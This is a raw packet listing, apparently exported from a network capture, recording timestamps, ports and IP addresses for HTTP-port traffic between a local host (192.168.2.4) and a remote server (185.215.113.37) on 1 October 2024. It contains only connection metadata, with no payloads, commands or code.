Oct 1, 2024 06:03:10.672666073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.672672033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.672698975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.672709942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.672732115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.672740936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.672764063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.672771931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.672796011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.672804117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.672827959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.672837019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.672858953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.672868013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.672892094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.672903061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.672923088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.672930956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.672956944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.672964096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.672983885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.672998905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.673017025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.673027039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.673051119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.673058987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.673079967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.673089981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.673111916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.673139095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.673145056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.673151970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.673177958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.673193932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.673214912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.673228025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.673245907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.673254967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.673279047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.673289061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.673310995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.673321009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.673345089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.673352003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.673376083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.673383951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.673412085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.673418045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.673444033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.673450947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.673475981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.673480988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.673508883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.673512936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.673542976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.673552990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.673573017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.673577070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.673609018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.673613071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.673641920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.673654079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.673679113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.789026022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.794001102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.006515026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.006558895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.006612062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.006618977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.006659031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.006659031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.006664038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.006696939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.006710052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.006731987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.006752968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.006776094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.006782055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.006815910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.006827116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.006860018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.006869078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.006902933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.006915092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.006934881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.006942034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.006980896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.006983995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.007016897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.007025957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.007060051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.007071972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.007102966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.007121086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.007133961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.007143021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.007183075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.007183075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.007220984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.007225990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.007272959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.007322073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.007353067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.007358074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.007405043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.007422924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.007437944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.007452965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.007461071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.007488012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.007510900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.007525921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.007534027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.007566929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.007579088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.007611036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.007613897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.007662058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.007663012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.007695913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.007711887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.007745028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.007775068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.007797003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.007806063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.007826090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.007838011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.007843971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.007873058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.007880926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.007914066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.007920980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.007970095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.007973909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.008018970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.008065939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.008069038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.008101940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.008116961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.008143902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.008150101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.008178949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.008194923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.008222103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.008225918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.008275032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.008280039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.008306980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.008323908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.008352041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.008356094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.008405924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.008408070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.008455992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.008456945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.008491039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.008511066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.008523941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.008548975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.008555889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.008565903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.008590937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.008603096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.008629084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.008640051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.008662939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.008678913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.008693933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.008711100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.008727074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.008738995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.008759975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.008774996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.008791924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.008804083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.008825064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.008837938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.008857012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.008872986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.008888006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.008908987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.008936882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.008939981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.008989096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.008989096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.009022951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.009036064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.009053946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.009069920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.009087086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.009104013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.009116888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.009134054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.009150028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.009160995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.009181023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.009193897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.009217024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.009227037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.009248972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.009263039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.009280920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.009294987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.009310961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.009326935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.009344101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.009357929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.009373903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.009394884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.009407997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.009426117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.009438992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.009459972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.009470940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.009485960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.009501934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.009519100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.009536028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.009567022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.009567022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.009582043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.009598970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.009610891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.009630919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.009648085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.009664059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.009680986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.009696007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.009713888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.009727001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.009740114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.009757996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.009777069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.009793043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.009803057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.009824038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.009830952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.009855986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.009869099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.009886980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.009902954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.009919882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.009937048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.009952068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.009967089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.009987116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.010000944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.010019064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.010034084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.010051012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.010066032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.010078907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.010096073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.010111094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.010132074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.010143042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.010162115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.010174990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.010193110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.010207891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.010235071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.010237932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.010246038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.010267973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.010299921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.010312080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.010330915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.010361910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.010375023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.010394096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.010416031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.010430098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.010443926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.010462046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.010478973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.010493040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.010521889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.010550976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.010554075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.010579109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.010582924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.010605097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.010613918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.010626078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.010648012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.010660887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.010679960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.010693073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.010713100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.010725975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.010746002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.010760069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.010776997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.010787010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.010806084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.010823965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.010835886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.010857105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.010868073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.010884047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.010896921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.010916948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.010927916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.010942936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.010961056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.010974884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.010994911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.011008978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.011035919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.011035919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.011068106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.011082888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.011101007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.011112928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.011146069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.093239069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.093282938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.093312979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.093338966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.093344927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.093386889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.093394041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.093431950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.093446016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.093465090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.093477011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.093497992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.093511105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.093533039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.093544006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.093565941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.093580961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.093599081 CEST	80	49730	185.215.113.37	192.168.2.4
